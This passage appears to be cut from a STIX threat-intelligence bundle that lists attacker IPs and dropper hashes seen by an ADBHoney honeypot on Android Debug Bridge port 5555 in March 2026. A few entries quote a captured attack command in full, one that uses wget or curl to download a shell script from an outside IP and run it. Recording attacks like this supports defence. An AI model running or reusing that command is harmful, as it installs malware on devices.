          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=IN; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-12T13:52:34.000Z | last_seen=2026-03-12T14:03:18.738Z | ports=5555 | cc=IN | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--7f4dc85d-7a59-4290-bae1-fb43b5a1f9e4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.245.106.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T14:00:03.000Z",
      "valid_until": "2026-04-13T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-12T13:52:34.000Z",
          "last_seen": "2026-03-12T14:03:18.738Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-12T13:02:56.000Z | last_seen=2026-03-12T13:03:58.396Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--062bfd73-c9a0-4a9e-9809-42410d717443",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T14:00:03.000Z",
      "valid_until": "2026-04-13T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-12T13:02:56.000Z",
          "last_seen": "2026-03-12T13:03:58.396Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-12T15:47:16.000Z | last_seen=2026-03-12T15:48:20.064Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--04744fd5-7722-4c03-bd77-ef1a57e962d3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.74.58.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T16:00:02.000Z",
      "valid_until": "2026-04-13T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-12T15:47:16.000Z",
          "last_seen": "2026-03-12T15:48:20.064Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=ID; asn=7713; asn_org=PT Telekomunikasi Indonesia; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3 | first_seen=2026-03-12T15:39:43.000Z | last_seen=2026-03-12T15:40:45.189Z | ports=5555 | cc=ID | asn=7713 | org=PT Telekomunikasi Indonesia",
      "id": "indicator--dad14d80-1419-4e42-be90-22e506d7970d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '36.92.154.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T16:00:02.000Z",
      "valid_until": "2026-04-13T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3,
          "first_seen": "2026-03-12T15:39:43.000Z",
          "last_seen": "2026-03-12T15:40:45.189Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ID"
          ],
          "asn": [
            "7713"
          ],
          "org": [
            "PT Telekomunikasi Indonesia"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-12T15:47:16.000Z | last_seen=2026-03-12T15:48:20.064Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--04744fd5-7722-4c03-bd77-ef1a57e962d3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.74.58.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T16:00:03.000Z",
      "valid_until": "2026-04-13T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-12T15:47:16.000Z",
          "last_seen": "2026-03-12T15:48:20.064Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=ID; asn=7713; asn_org=PT Telekomunikasi Indonesia; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3 | first_seen=2026-03-12T15:39:43.000Z | last_seen=2026-03-12T15:40:45.189Z | ports=5555 | cc=ID | asn=7713 | org=PT Telekomunikasi Indonesia",
      "id": "indicator--dad14d80-1419-4e42-be90-22e506d7970d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '36.92.154.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T16:00:03.000Z",
      "valid_until": "2026-04-13T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3,
          "first_seen": "2026-03-12T15:39:43.000Z",
          "last_seen": "2026-03-12T15:40:45.189Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ID"
          ],
          "asn": [
            "7713"
          ],
          "org": [
            "PT Telekomunikasi Indonesia"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T22:02:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=GB; asn=29302; asn_org=Hosting Services Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-12T21:43:12.000Z | last_seen=2026-03-12T21:44:19.036Z | ports=5555 | cc=GB | asn=29302 | org=Hosting Services Inc",
      "id": "indicator--1a86eea0-e28c-4a1c-ad73-97cdfde97729",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '146.185.25.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T22:02:14.000Z",
      "valid_until": "2026-04-13T22:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-12T21:43:12.000Z",
          "last_seen": "2026-03-12T21:44:19.036Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "29302"
          ],
          "org": [
            "Hosting Services Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T22:02:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=11 | first_seen=2026-03-12T21:43:16.000Z | last_seen=2026-03-12T21:53:31.446Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--16a46f34-882e-42c0-8fc6-33d67a0930e3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '35.88.70.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T22:02:14.000Z",
      "valid_until": "2026-04-13T22:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 11,
          "first_seen": "2026-03-12T21:43:16.000Z",
          "last_seen": "2026-03-12T21:53:31.446Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-13T09:01:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-13T08:31:17.000Z | last_seen=2026-03-24T15:20:51.356Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--ea62c971-51a3-4045-8f4d-e39a8aaf5b12",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T09:01:04.000Z",
      "valid_until": "2026-04-14T09:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-13T08:31:17.000Z",
          "last_seen": "2026-03-24T15:20:51.356Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-13T09:01:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-13T08:30:17.000Z | last_seen=2026-03-13T08:31:25.451Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--7b1e7069-a285-4f24-b443-942a163ae709",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T09:01:04.000Z",
      "valid_until": "2026-04-14T09:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-13T08:30:17.000Z",
          "last_seen": "2026-03-13T08:31:25.451Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-13T18:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-13T17:08:35.000Z | last_seen=2026-03-13T17:20:23.672Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--b0fed5ea-9d3e-4d16-a32f-b1faabcb592c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.14.90.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T18:00:07.000Z",
      "valid_until": "2026-04-14T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-13T17:08:35.000Z",
          "last_seen": "2026-03-13T17:20:23.672Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-13T21:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=PH; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-13T20:53:42.000Z | last_seen=2026-03-13T20:54:46.417Z | ports=5555 | cc=PH | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--7e5a86b2-d00f-4ab6-86b5-f73c0a7712fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '8.212.164.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T21:00:04.000Z",
      "valid_until": "2026-04-14T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-13T20:53:42.000Z",
          "last_seen": "2026-03-13T20:54:46.417Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PH"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-13T21:00:16.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=PH; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-13T20:53:42.000Z | last_seen=2026-03-13T20:54:46.417Z | ports=5555 | cc=PH | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--7e5a86b2-d00f-4ab6-86b5-f73c0a7712fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '8.212.164.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T21:00:16.000Z",
      "valid_until": "2026-04-14T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-13T20:53:42.000Z",
          "last_seen": "2026-03-13T20:54:46.417Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PH"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-13T23:00:53.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; rm -rf csk_*; cd /data/local/; busybox wget http://103.253.146.163/viet69.sh; sh viet69.sh; curl http://103.253.146.163/viet69.sh; sh viet6\"\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-13T22:23:49.000Z | last_seen=2026-03-13T22:25:36.988Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--14cb5c05-fa9f-4775-a515-8f01cdd95c61",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '178.128.92.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T23:00:53.000Z",
      "valid_until": "2026-04-14T23:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-13T22:23:49.000Z",
          "last_seen": "2026-03-13T22:25:36.988Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-13T23:00:53.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/ff781ec7e778bc9919dea96735747d66bb70bb11ea49177ac4af8ade0b895b34.raw; last_seen=2026-03-13T22:23:51.954Z",
      "id": "indicator--6ddc46c2-32f0-4d20-851a-bedb52973598",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'ff781ec7e778bc9919dea96735747d66bb70bb11ea49177ac4af8ade0b895b34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T23:00:53.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-13T23:02:44.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; rm -rf csk_*; cd /data/local/; busybox wget http://103.253.146.163/viet69.sh; sh viet69.sh; curl http://103.253.146.163/viet69.sh; sh viet6\"\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-13T22:23:49.000Z | last_seen=2026-03-13T22:25:36.988Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--14cb5c05-fa9f-4775-a515-8f01cdd95c61",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '178.128.92.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T23:02:44.000Z",
      "valid_until": "2026-04-14T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-13T22:23:49.000Z",
          "last_seen": "2026-03-13T22:25:36.988Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-13T23:02:44.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/ff781ec7e778bc9919dea96735747d66bb70bb11ea49177ac4af8ade0b895b34.raw; last_seen=2026-03-13T22:23:51.954Z",
